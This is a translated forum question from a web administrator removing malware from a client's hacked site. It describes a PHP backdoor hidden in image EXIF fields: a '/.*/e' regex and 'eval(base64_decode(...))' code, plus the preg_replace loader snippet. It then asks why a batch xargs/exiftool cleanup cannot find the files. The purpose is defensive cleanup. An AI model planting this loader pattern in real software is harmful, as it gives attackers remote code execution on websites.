Pertama-tama, saya tidak yakin ini termasuk di sini dibandingkan dengan ServerFault atau di tempat lain. Jika memang seharusnya ada di sana, saya minta maaf.
Bagaimanapun, inilah beberapa latar belakang tentang masalah saya. Saya bekerja untuk sebuah perusahaan yang mengelola berbagai situs web klien dan salah satu klien yang kami terima memiliki situs web dengan banyak malware yang perlu dihapus. Sekarang, saya telah belajar banyak selama beberapa minggu terakhir dalam hal penggunaan grep, find, xargs, dll. untuk menemukan dan melakukan tindakan pada file yang memiliki nama file tertentu, ukuran file, dan yang berisi string atau pola teks tertentu.
Salah satu masalah yang kami temukan adalah beberapa gambar telah diinjeksi dengan data Exif yang berbahaya (pada dasarnya, atribut Make adalah /.*/e
dan atribut Model adalah efek dari eval(base64_decode(...));
dengan string yang dikodekan adalah skrip PHP yang memungkinkan penyerang mengirim POST meminta dengan atribut tertentu dan kemudian menjalankan input dari atribut tersebut melalui eval(). Dan kemudian, mereka memasukkan kode berikut ke skrip PHP lain.
<?php
$exif = exif_read_data('/path/to/image.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
?>
Jadi mereka mengganti ekspresi reguler .* yang cocok dengan apa pun (termasuk subjek kosong) dengan kode PHP yang menerima permintaan POST dan mengeksekusi kode yang diberikan. Intinya, ini memungkinkan penyerang untuk mengeksekusi kode PHP apa pun yang mereka inginkan di situs web klien. Semuanya sangat menarik untuk diketahui, namun menjengkelkan untuk diperbaiki.
PHP memiliki alat untuk membaca data Exif (yaitu, Exif_read_data()) dan saya telah menggunakannya untuk memindai semua file gambar di situs web klien dan mengkompilasi daftar gambar yang memiliki data Exif berbahaya yang disuntikkan. Namun, PHP tidak dilengkapi dengan cara untuk mengubah data tersebut. Jadi, saya melakukan sedikit riset dan menemukan bahwa ada program linux bernama "ExifTools" yang memungkinkan Anda mengubah data Exif. Saya menginstalnya dan menjalankan perintah berikut:
xargs -a files_with_malicious_exif.txt exiftool -make="" -model=""
File teks di sana hanyalah daftar jalur file, masing-masing pada barisnya sendiri. Skrip membaca nama file dengan benar, karena kemudian mengeluarkan banyak pesan "Kesalahan: File tidak ditemukan - ./path" (satu untuk setiap jalur).
Masalahnya adalah, jalur itu sebenarnya ada, dan jika saya menjalankan perintah berikut:
exiftool -make="" -model="" ./path/that/does/exist/and/is/in/the/file/like/this.jpg
Berhasil. Saya memeriksa file tersebut dan kedua item di data geofisikanya telah dibersihkan.
Tetapi jumlah file yang terinfeksi cukup tinggi, dan saya tidak ingin membuka file demi file untuk menjalankan perintah pada masing-masing file.
Saya telah mencoba menggunakan jalur absolut serta menghapus "./" dari nama file. Saya menjalankan dari direktori yang benar agar jalur relatif dapat berfungsi (sebagaimana dibuktikan oleh fakta bahwa perintah kedua berfungsi dengan jalur relatif) tetapi masih tidak dapat menemukan file apa pun.
Apakah ada sesuatu yang saya lupa lakukan atau tidak lakukan dengan benar?
head -3 files_with_malicious_exif.txt | xargs ls -1
? - person nosid   schedule 08.08.2013: No such file or directory***.org/**.***.org/web/content/images/****.jpg : No such file or directory***.org/**.***.org/web/content/images/multimedia/***.jpg : No such file or directory***.org/**.***.org/web/content/images/***.jpg
Saya menyensor sebagian jalur dengan tanda bintang karena itu akan mengidentifikasi klien saya. Perhatikan bahwa bagian tepat setelah direktori tampaknya terpotong di awal (ini bukan awal jalur penuh). - person imkingdavid   schedule 08.08.2013